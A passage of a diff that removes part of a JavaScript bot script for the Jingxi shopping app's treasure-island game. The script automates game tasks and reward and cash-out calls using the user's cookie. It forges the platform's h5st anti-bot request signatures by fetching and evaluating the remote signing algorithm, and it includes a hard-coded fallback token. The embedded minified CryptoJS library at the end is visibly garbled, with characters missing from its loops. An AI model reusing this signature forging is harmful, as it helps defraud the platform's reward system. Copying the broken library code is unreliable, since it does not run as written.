taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_over_flag&strValue=999&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_step&strValue=gift_redpack&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_step&strValue=none&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) -} - -function taskGet(type, stk, additional){ - return new Promise(async (resolve) => { - let myRequest = getGetRequest(type, stk, additional) - $.get(myRequest, async (err, resp, _data) => { - let data = '' - try { - let contents = '' - // console.log(_data) - data = $.toObj(_data) - if(data && data.iRet == 0){ - // console.log(_data) - }else{ - // 1771|1771|5001|0|0,1771|75|1023|0|请刷新页面重试 - // console.log(_data) - } - contents = `1771|${opId(type)}|${data && data.iRet || 0}|0|${data && data.sErrMsg || 0}` - await biz(contents) - } - catch (e) { - $.logErr(e, resp); - } - finally { - resolve(data); - } - }); - }); -} -function getGetRequest(type, stk='', additional='') { - let url = ``; - let dwEnv = 7; - let types = { - 'GetUserTaskStatusList':['GetUserTaskStatusList','jxbfd'], - 'Award':['Award','jxbfd'], - 'Award1':['Award','jxbfddch'], - 'Award2':['Award','jxbfdprop'], - 'DoTask':['DoTask','jxbfd'], - 'DoTask1':['DoTask','jxbfddch'], - 'DoTask2':['DoTask','jxbfdprop'], - } - if(type == 'user/ComposeGameState'){ - url = `https://m.jingxi.com/jxbfd/${type}?__t=${Date.now()}&strZone=jxbfd${additional}&_=${Date.now()}&sceneval=2` - }else if(type == 'user/RealTmReport'){ - url = `https://m.jingxi.com/jxbfd/${type}?__t=${Date.now()}${additional}&_=${Date.now()}&sceneval=2` - }else{ - let stks = '' - if(stk) stks = `&_stk=${stk}` - if(type == 'story/GetTakeAggrPages' || type == 'story/RewardSigns') dwEnv = 6 - if(type == 'story/GetTakeAggrPages') type = 'story/GetTakeAggrPage' - if(type == 'story/RewardSigns') type = 'story/RewardSign' - if(types[type]){ - url = `https://m.jingxi.com/newtasksys/newtasksys_front/${types[type][0]}?strZone=jxbfd&bizCode=${types[type][1]}&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}${additional}${stks}&_ste=1&_=${Date.now()}&sceneval=2&g_login_type=1` - }else if(type == 'user/ComposeGameAddProcess' || type == 'user/ComposeGameAward'){ - url = `https://m.jingxi.com/jxbfd/${type}?strZone=jxbfd&__t=${Date.now()}${additional}${stks}&_=${Date.now()}&sceneval=2`; - }else{ - url = `https://m.jingxi.com/jxbfd/${type}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=${additional}${stks}&_=${Date.now()}&sceneval=2`; - } - url += `&h5st=${decrypt(Date.now(), stk, '', url)}`; - } - return { - url, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", - "Connection": "keep-alive", - 'Cookie': `cid=4;${$.cookie}`, - 'Host': 'm.jingxi.com', - "Referer": "https://st.jingxi.com/", - "User-Agent": UA, - - } - } -} - -function biz(contents){ - return new Promise(async (resolve) => { - let myRequest = { - url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", - "Connection": "keep-alive", - 'Cookie': `cid=4;${$.cookie}`, - 'Host': 'm.jingxi.com', - "Referer": "https://st.jingxi.com/", - "User-Agent": UA, - } - } - $.get(myRequest, async (err, resp, _data) => { - try { - // console.log(_data) - } - catch (e) { - $.logErr(e, resp); - } - finally { - resolve(); - } - }); - }); -} - -function opId(type){ - let jsonMap = { - "user/QueryUserInfo": 1, - "user/GetMgrAllConf": 3, - "story/QueryUserStory": 5, - "user/GetJdToken": 11, - "story/CouponState": 13, - "story/WelfareDraw": 15, - "story/GetWelfarePage": 17, - "story/SendWelfareMoney": 19, - "user/SetMark": 23, - "user/GetMark": 25, - "user/guideuser": 27, - "user/createbuilding": 29, - "user/BuildLvlUp": 31, - "user/CollectCoin": 33, - "user/GetBuildInfo": 35, - "user/SpeedUp": 37, - "story/AddNoticeMsg": 39, - "user/breakgoldenegg": 41, - "user/closewindow": 43, - "user/drawpackprize": 45, - "user/GetMoneyDetail": 47, - "user/EmployTourGuide": 49, - "story/sellgoods": 51, - "story/querystorageroom": 53, - "user/queryuseraccount": 55, - "user/EmployTourGuideInfo": 57, - "consume/TreasureHunt": 59, - "story/QueryAppSignList": 61, - "story/AppRewardSign": 63, - "story/queryshell": 65, - "story/QueryRubbishInfo": 67, - "story/pickshell": 69, - "story/CollectorOper": 71, - "story/MermaidOper": 73, - "story/RubbishOper": 75, - "story/SpecialUserOper": 77, - "story/GetUserTaskStatusList": 79, - "user/ExchangeState": 87, - "user/ExchangePrize": 89, - "user/GetRebateGoods": 91, - "user/BuyGoods": 93, - "user/UserCashOutState": 95, - "user/CashOut": 97, - "user/GetCashRecord": 99, - "user/CashOutQuali": 101, - "user/GetAwardList": 103, - "story/QueryMailBox": 105, - "story/MailBoxOper": 107, - "story/UserMedal": 109, - "story/QueryMedalList": 111, - "story/GetTakeAggrPage": 113, - "story/GetTaskRedDot": 115, - "story/RewardSign": 117, - "story/helpdraw": 119, - "story/helpbystage": 121, - "task/addCartSkuNotEnough": 123, - "story/GetActTask": 125, - "story/ActTaskAward": 127, - "story/DelayBizReq": 131, - "story/AddSuggest": 133, - } - let opId = jsonMap[type] - if (opId!=undefined) return opId - return 5001 -} - -async function requestAlgo() { - $.fp = (getRandomIDPro({ size: 13 }) + Date.now()).slice(0, 16); - const options = { - "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, - headers: { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'User-Agent': UA, - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - }, - 'body': JSON.stringify({ - "version": "1.0", - "fp": $.fp, - "appId": $.appId, - "timestamp": Date.now(), - "platform": "web", - "expandParams": "" - }) - } - return new Promise(async resolve => { - $.post(options, (err, resp, data) => { - try { - const { ret, msg, data: { result } = {} } = JSON.parse(data); - $.token = result.tk; - $.genKey = new Function(`return ${result.algo}`)(); - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function getRandomIDPro() { - var e, - t, - a = void 0 === (n = (t = 0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : {}).size) ? 10 : n, - n = void 0 === (n = t.dictType) ? 'number' : n, - i = ''; - if ((t = t.customDict) && 'string' == typeof t) e = t; - else - switch (n) { - case 'alphabet': - e = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; - break; - case 'max': - e = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-'; - break; - case 'number': - default: - e = '0123456789'; - } - - for (; a--;) i += e[(Math.random() * e.length) | 0]; - return i; -} -function decrypt(time, stk, type, url) { - stk = stk || (url ? getUrlQueryParams(url, '_stk') : '') - if (stk) { - const timestamp = format("yyyyMMddhhmmssSSS", time); - const hash1 = $.genKey($.token, $.fp.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); - let st = ''; - stk.split(',').map((item, index) => { - st += `${item}:${getUrlQueryParams(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; - }) - const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); - return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fp.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) - } else { - return encodeURIComponent('20210713151140309;3329030085477162;10032;tk01we5431d52a8nbmxySnZya05SXBQSsarucS7aqQIUX98n+iAZjIzQFpu6+ZjRvOMzOaVvqHvQz9pOhDETNW7JmftM;3e219f9d420850cadd117e456d422e4ecd8ebfc34397273a5378a0edc70872b9') - } -} - -function format(a, time) { - if (!a) a = 'yyyy-MM-dd'; - var t; - if (!time) { - t = Date.now(); - } else { - t = new Date(time); - } - var e, - n = new Date(t), - d = a, - l = { - 'M+': n.getMonth() + 1, - 'd+': n.getDate(), - 'D+': n.getDate(), - 'h+': n.getHours(), - 'H+': n.getHours(), - 'm+': n.getMinutes(), - 's+': n.getSeconds(), - 'w+': n.getDay(), - 'q+': Math.floor((n.getMonth() + 3) / 3), - 'S+': n.getMilliseconds(), - }; - /(y+)/i.test(d) && (d = d.replace(RegExp.$1, ''.concat(n.getFullYear()).substr(4 - RegExp.$1.length))); - Object.keys(l).forEach(e => { - if (new RegExp('('.concat(e, ')')).test(d)) { - var t, - a = 'S+' === e ? '000' : '00'; - d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[e] : ''.concat(a).concat(l[e]).substr(''.concat(l[e]).length)); - } - }); - return d; -} - -function getUrlQueryParams(url_string, param) { - let reg = new RegExp("(^|&)" + param + "=([^&]*)(&|$)", "i"); - let r = url_string.split('?')[1].substr(0).match(reg); - if (r != null) { - return decodeURIComponent(r[2]); - }; - return ''; -} - - - -function getAuthorShareCode(url) { - return new Promise(async resolve => { - const options = { - "url": `${url}?${new Date()}`, - "timeout": 10000, - "headers": { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - let res = [] - $.get(options, async (err, resp, data) => { - try { - if (err) { - } else { - if (data) res = JSON.parse(data) - } - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(res || []); - } - }) - await $.wait(10000) - resolve(res); - }) -} - -/** - * 随机从一数组里面取 - * @param arr - * @param count - * @returns {Buffer} - */ - function getRandomArrayElements(arr, count) { - var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; - while (i-- > min) { - index = Math.floor((i + 1) * Math.random()); - temp = shuffled[index]; - shuffled[index] = shuffled[i]; - shuffled[i] = temp; - } - return shuffled.slice(min); -} - - -// 计算时间 -function timeFn(dateBegin) { - var hours = 0 - var minutes = 0 - var seconds = 0 - if(dateBegin != 0){ - //如果时间格式是正确的,那下面这一步转化时间格式就可以不用了 - var dateEnd = new Date();//获取当前时间 - var dateDiff = dateBegin - dateEnd.getTime();//时间差的毫秒数 - var leave1 = dateDiff % (24 * 3600 * 1000) //计算天数后剩余的毫秒数 - hours = Math.floor(leave1 / (3600 * 1000))//计算出小时数 - //计算相差分钟数 - var leave2 = leave1 % (3600 * 1000) //计算小时数后剩余的毫秒数 - minutes = Math.floor(leave2 / (60 * 1000))//计算相差分钟数 - //计算相差秒数 - var leave3 = leave2 % (60 * 1000) //计算分钟数后剩余的毫秒数 - seconds = Math.round(leave3 / 1000) - } - hours = hours < 10 ? '0'+ hours : hours - minutes = minutes < 10 ? '0'+ minutes : minutes - seconds = seconds < 10 ? '0'+ seconds : seconds - var timeFn = hours + ":" + minutes + ":" + seconds; - return timeFn; -} - -/** - * 为数字加上单位:万或亿 - * - * 例如: - * 1000.01 => 1000.01 - * 10000 => 1万 - * 99000 => 9.9万 - * 566000 => 56.6万 - * 5660000 => 566万 - * 44440000 => 4444万 - * 11111000 => 1111.1万 - * 444400000 => 4.44亿 - * 40000000,00000000,00000000 => 4000万亿亿 - * 4,00000000,00000000,00000000 => 4亿亿亿 - * - * @param {number} number 输入数字. - * @param {number} decimalDigit 小数点后最多位数,默认为2 - * @return {string} 加上单位后的数字 - */ - - function addChineseUnit(number, decimalDigit) { - decimalDigit = decimalDigit == null ? 2 : decimalDigit - var integer = Math.floor(number) - var digit = getDigit(integer) - // ['个', '十', '百', '千', '万', '十万', '百万', '千万']; - var unit = [] - if (digit > 3) { - var multiple = Math.floor(digit / 8) - if (multiple >= 1) { - var tmp = Math.round(integer / Math.pow(10, 8 * multiple)) - unit.push(addWan(tmp, number, 8 * multiple, decimalDigit)) - for (var i = 0; i < multiple; i++) { - unit.push('亿') - } - return unit.join('') - } else { - return addWan(integer, number, 0, decimalDigit) - } - } else { - return number - } -} -function addWan(integer, number, mutiple, decimalDigit) { - var digit = getDigit(integer) - if (digit > 3) { - var remainder = digit % 8 - if (remainder >= 5) { // ‘十万’、‘百万’、‘千万’显示为‘万’ - remainder = 4 - } - return Math.round(number / Math.pow(10, remainder + mutiple - decimalDigit)) / Math.pow(10, decimalDigit) + '万' - } else { - return Math.round(number / Math.pow(10, mutiple - decimalDigit)) / Math.pow(10, decimalDigit) - } -} -function getDigit(integer) { - var digit = -1 - while (integer >= 1) { - digit++ - integer = integer / 10 - } - return digit -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -function CryptoScripts() { - // prettier-ignore - !function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var t,e,r,i,n,o,s,c,a,h,l,f,d,u,p,_,v,y,g,B,w,k,S,m,x,b,H,z,A,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,mt=mt||function(t){var e;if("undefined"!=typeof window&&window.crypto&&(e=window.crypto),!e&&"undefined"!=typeof window&&window.msCrypto&&(e=window.msCrypto),!e&&"undefined"!=typeof global&&global.crypto&&(e=global.crypto),!e&&"function"==typeof require)try{e=require("crypto")}catch(e){}function r(){if(e){if("function"==typeof e.getRandomValues)try{return e.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof e.randomBytes)try{return e.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var i=Object.create||function(t){var e;return n.prototype=t,e=new n,n.prototype=null,e};function n(){}var o={},s=o.lib={},c=s.Base={extend:function(t){var e=i(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},a=s.WordArray=c.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||l).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(o=0;o>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var e=this.words,r=this.sigBytes;e[r>>>2]&=4294967295<<32-r%4*8,e.length=t.ceil(r/4)},clone:function(){var t=c.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],i=0;i>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new a.init(r,e/2)}},f=h.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new a.init(r,e)}},d=h.Utf8={stringify:function(t){try{return decodeURIComponent(escape(f.stringify(t)))}catch(t){throw new Error("Malformed UTF-8 data")}},parse:function(t){return f.parse(unescape(encodeURIComponent(t)))}},u=s.BufferedBlockAlgorithm=c.extend({reset:function(){this._data=new a.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=d.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(e){var r,i=this._data,n=i.words,o=i.sigBytes,s=this.blockSize,c=o/(4*s),h=(c=e?t.ceil(c):t.max((0|c)-this._minBufferSize,0))*s,l=t.min(4*h,o);if(h){for(var f=0;f>>32-e}function Dt(t,e,r,i){var n,o=this._iv;o?(n=o.slice(0),this._iv=void 0):n=this._prevBlock,i.encryptBlock(n,0);for(var s=0;s>24&255)){var e=t>>16&255,r=t>>8&255,i=255&t;255===e?(e=0,255===r?(r=0,255===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);dt[r]=s^c}t[0]=dt[0]+(dt[7]<<16|dt[7]>>>16)+(dt[6]<<16|dt[6]>>>16)|0,t[1]=dt[1]+(dt[0]<<8|dt[0]>>>24)+dt[7]|0,t[2]=dt[2]+(dt[1]<<16|dt[1]>>>16)+(dt[0]<<16|dt[0]>>>16)|0,t[3]=dt[3]+(dt[2]<<8|dt[2]>>>24)+dt[1]|0,t[4]=dt[4]+(dt[3]<<16|dt[3]>>>16)+(dt[2]<<16|dt[2]>>>16)|0,t[5]=dt[5]+(dt[4]<<8|dt[4]>>>24)+dt[3]|0,t[6]=dt[6]+(dt[5]<<16|dt[5]>>>16)+(dt[4]<<16|dt[4]>>>16)|0,t[7]=dt[7]+(dt[6]<<8|dt[6]>>>24)+dt[5]|0}function Mt(){for(var t=this._X,e=this._C,r=0;r<8;r++)wt[r]=e[r];for(e[0]=e[0]+1295307597+this._b|0,e[1]=e[1]+3545052371+(e[0]>>>0>>0?1:0)|0,e[2]=e[2]+886263092+(e[1]>>>0>>0?1:0)|0,e[3]=e[3]+1295307597+(e[2]>>>0>>0?1:0)|0,e[4]=e[4]+3545052371+(e[3]>>>0>>0?1:0)|0,e[5]=e[5]+886263092+(e[4]>>>0>>0?1:0)|0,e[6]=e[6]+1295307597+(e[5]>>>0>>0?1:0)|0,e[7]=e[7]+3545052371+(e[6]>>>0>>0?1:0)|0,this._b=e[7]>>>0>>0?1:0,r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((n*n>>>17)+n*o>>>15)+o*o,c=((4294901760&i)*i|0)+((65535&i)*i|0);kt[r]=s^c}t[0]=kt[0]+(kt[7]<<16|kt[7]>>>16)+(kt[6]<<16|kt[6]>>>16)|0,t[1]=kt[1]+(kt[0]<<8|kt[0]>>>24)+kt[7]|0,t[2]=kt[2]+(kt[1]<<16|kt[1]>>>16)+(kt[0]<<16|kt[0]>>>16)|0,t[3]=kt[3]+(kt[2]<<8|kt[2]>>>24)+kt[1]|0,t[4]=kt[4]+(kt[3]<<16|kt[3]>>>16)+(kt[2]<<16|kt[2]>>>16)|0,t[5]=kt[5]+(kt[4]<<8|kt[4]>>>24)+kt[3]|0,t[6]=kt[6]+(kt[5]<<16|kt[5]>>>16)+(kt[4]<<16|kt[4]>>>16)|0,t[7]=kt[7]+(kt[6]<<8|kt[6]>>>24)+kt[5]|0}return t=mt.lib.WordArray,mt.enc.Base64={stringify:function(t){var e=t.words,r=t.sigBytes,i=this._map;t.clamp();for(var n=[],o=0;o>>2]>>>24-o%4*8&255)<<16|(e[o+1>>>2]>>>24-(o+1)%4*8&255)<<8|e[o+2>>>2]>>>24-(o+2)%4*8&255,c=0;c<4&&o+.75*c>>6*(3-c)&63));var a=i.charAt(64);if(a)for(;n.length%4;)n.push(a);return n.join("")},parse:function(e){var r=e.length,i=this._map,n=this._reverseMap;if(!n){n=this._reverseMap=[];for(var o=0;o>>6-s%4*2;n[o>>>2]|=c<<24-o%4*8,o++}return t.create(n,o)}(e,r,n)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[];!function(){for(var e=0;e<64;e++)s[e]=4294967296*t.abs(t.sin(e+1))|0}();var c=o.MD5=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8|n>>>24)|4278255360&(n<<24|n>>>8)}var o=this._hash.words,c=t[e+0],d=t[e+1],u=t[e+2],p=t[e+3],_=t[e+4],v=t[e+5],y=t[e+6],g=t[e+7],B=t[e+8],w=t[e+9],k=t[e+10],S=t[e+11],m=t[e+12],x=t[e+13],b=t[e+14],H=t[e+15],z=o[0],A=o[1],C=o[2],D=o[3];z=f(z=l(z=l(z=l(z=l(z=h(z=h(z=h(z=h(z=a(z=a(z=a(z=a(z,A,C,D,c,7,s[0]),A=a(A,C=a(C,D=a(D,z,A,C,d,12,s[1]),z,A,u,17,s[2]),D,z,p,22,s[3]),C,D,_,7,s[4]),A=a(A,C=a(C,D=a(D,z,A,C,v,12,s[5]),z,A,y,17,s[6]),D,z,g,22,s[7]),C,D,B,7,s[8]),A=a(A,C=a(C,D=a(D,z,A,C,w,12,s[9]),z,A,k,17,s[10]),D,z,S,22,s[11]),C,D,m,7,s[12]),A=a(A,C=a(C,D=a(D,z,A,C,x,12,s[13]),z,A,b,17,s[14]),D,z,H,22,s[15]),C,D,d,5,s[16]),A=h(A,C=h(C,D=h(D,z,A,C,y,9,s[17]),z,A,S,14,s[18]),D,z,c,20,s[19]),C,D,v,5,s[20]),A=h(A,C=h(C,D=h(D,z,A,C,k,9,s[21]),z,A,H,14,s[22]),D,z,_,20,s[23]),C,D,w,5,s[24]),A=h(A,C=h(C,D=h(D,z,A,C,b,9,s[25]),z,A,p,14,s[26]),D,z,B,20,s[27]),C,D,x,5,s[28]),A=h(A,C=h(C,D=h(D,z,A,C,u,9,s[29]),z,A,g,14,s[30]),D,z,m,20,s[31]),C,D,v,4,s[32]),A=l(A,C=l(C,D=l(D,z,A,C,B,11,s[33]),z,A,S,16,s[34]),D,z,b,23,s[35]),C,D,d,4,s[36]),A=l(A,C=l(C,D=l(D,z,A,C,_,11,s[37]),z,A,g,16,s[38]),D,z,k,23,s[39]),C,D,x,4,s[40]),A=l(A,C=l(C,D=l(D,z,A,C,c,11,s[41]),z,A,p,16,s[42]),D,z,y,23,s[43]),C,D,w,4,s[44]),A=l(A,C=l(C,D=l(D,z,A,C,m,11,s[45]),z,A,H,16,s[46]),D,z,u,23,s[47]),C,D,c,6,s[48]),A=f(A=f(A=f(A=f(A,C=f(C,D=f(D,z,A,C,g,10,s[49]),z,A,b,15,s[50]),D,z,v,21,s[51]),C=f(C,D=f(D,z=f(z,A,C,D,m,6,s[52]),A,C,p,10,s[53]),z,A,k,15,s[54]),D,z,d,21,s[55]),C=f(C,D=f(D,z=f(z,A,C,D,B,6,s[56]),A,C,H,10,s[57]),z,A,y,15,s[58]),D,z,x,21,s[59]),C=f(C,D=f(D,z=f(z,A,C,D,_,6,s[60]),A,C,S,10,s[61]),z,A,u,15,s[62]),D,z,w,21,s[63]),o[0]=o[0]+z|0,o[1]=o[1]+A|0,o[2]=o[2]+C|0,o[3]=o[3]+D|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;r[n>>>5]|=128<<24-n%32;var o=t.floor(i/4294967296),s=i;r[15+(64+n>>>9<<4)]=16711935&(o<<8|o>>>24)|4278255360&(o<<24|o>>>8),r[14+(64+n>>>9<<4)]=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),e.sigBytes=4*(r.length+1),this._process();for(var c=this._hash,a=c.words,h=0;h<4;h++){var l=a[h];a[h]=16711935&(l<<8|l>>>24)|4278255360&(l<<24|l>>>8)}return c},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});function a(t,e,r,i,n,o,s){var c=t+(e&r|~e&i)+n+s;return(c<>>32-o)+e}function h(t,e,r,i,n,o,s){var c=t+(e&i|r&~i)+n+s;return(c<>>32-o)+e}function l(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<>>32-o)+e}function f(t,e,r,i,n,o,s){var c=t+(r^(e|~i))+n+s;return(c<>>32-o)+e}e.MD5=n._createHelper(c),e.HmacMD5=n._createHmacHelper(c)}(Math),r=(e=mt).lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=o.SHA1=n.extend({_doReset:function(){this._hash=new i.init([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],c=r[3],a=r[4],h=0;h<80;h++){if(h<16)s[h]=0|t[e+h];else{var l=s[h-3]^s[h-8]^s[h-14]^s[h-16];s[h]=l<<1|l>>>31}var f=(i<<5|i>>>27)+a+s[h];f+=h<20?1518500249+(n&o|~n&c):h<40?1859775393+(n^o^c):h<60?(n&o|n&c|o&c)-1894007588:(n^o^c)-899497514,a=c,c=o,o=n<<30|n>>>2,n=i,i=f}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+c|0,r[4]=r[4]+a|0},_doFinalize:function(){var t=this._data,e=t.words,r=8*this._nDataBytes,i=8*t.sigBytes;return e[i>>>5]|=128<<24-i%32,e[14+(64+i>>>9<<4)]=Math.floor(r/4294967296),e[15+(64+i>>>9<<4)]=r,t.sigBytes=4*e.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}}),e.SHA1=n._createHelper(c),e.HmacSHA1=n._createHmacHelper(c),function(t){var e=mt,r=e.lib,i=r.WordArray,n=r.Hasher,o=e.algo,s=[],c=[];!function(){function e(e){for(var r=t.sqrt(e),i=2;i<=r;i++)if(!(e%i))return;return 1}function r(t){return 4294967296*(t-(0|t))|0}for(var i=2,n=0;n<64;)e(i)&&(n<8&&(s[n]=r(t.pow(i,.5))),c[n]=r(t.pow(i,1/3)),n++),i++}();var a=[],h=o.SHA256=n.extend({_doReset:function(){this._hash=new i.init(s.slice(0))},_doProcessBlock:function(t,e){for(var r=this._hash.words,i=r[0],n=r[1],o=r[2],s=r[3],h=r[4],l=r[5],f=r[6],d=r[7],u=0;u<64;u++){if(u<16)a[u]=0|t[e+u];else{var p=a[u-15],_=(p<<25|p>>>7)^(p<<14|p>>>18)^p>>>3,v=a[u-2],y=(v<<15|v>>>17)^(v<<13|v>>>19)^v>>>10;a[u]=_+a[u-7]+y+a[u-16]}var g=i&n^i&o^n&o,B=(i<<30|i>>>2)^(i<<19|i>>>13)^(i<<10|i>>>22),w=d+((h<<26|h>>>6)^(h<<21|h>>>11)^(h<<7|h>>>25))+(h&l^~h&f)+c[u]+a[u];d=f,f=l,l=h,h=s+w|0,s=o,o=n,n=i,i=w+(B+g)|0}r[0]=r[0]+i|0,r[1]=r[1]+n|0,r[2]=r[2]+o|0,r[3]=r[3]+s|0,r[4]=r[4]+h|0,r[5]=r[5]+l|0,r[6]=r[6]+f|0,r[7]=r[7]+d|0},_doFinalize:function(){var e=this._data,r=e.words,i=8*this._nDataBytes,n=8*e.sigBytes;return r[n>>>5]|=128<<24-n%32,r[14+(64+n>>>9<<4)]=t.floor(i/4294967296),r[15+(64+n>>>9<<4)]=i,e.sigBytes=4*r.length,this._process(),this._hash},clone:function(){var t=n.clone.call(this);return t._hash=this._hash.clone(),t}});e.SHA256=n._createHelper(h),e.HmacSHA256=n._createHmacHelper(h)}(Math),function(){var t=mt.lib.WordArray,e=mt.enc;function r(t){return t<<8&4278255360|t>>>8&16711935}e.Utf16=e.Utf16BE={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n>>2]>>>16-n%4*8&65535;i.push(String.fromCharCode(o))}return i.join("")},parse:function(e){for(var r=e.length,i=[],n=0;n>>1]|=e.charCodeAt(n)<<16-n%2*16;return t.create(i,2*r)}},e.Utf16LE={stringify:function(t){for(var e=t.words,i=t.sigBytes,n=[],o=0;o>>2]>>>16-o%4*8&65535);n.push(String.fromCharCode(s))}return 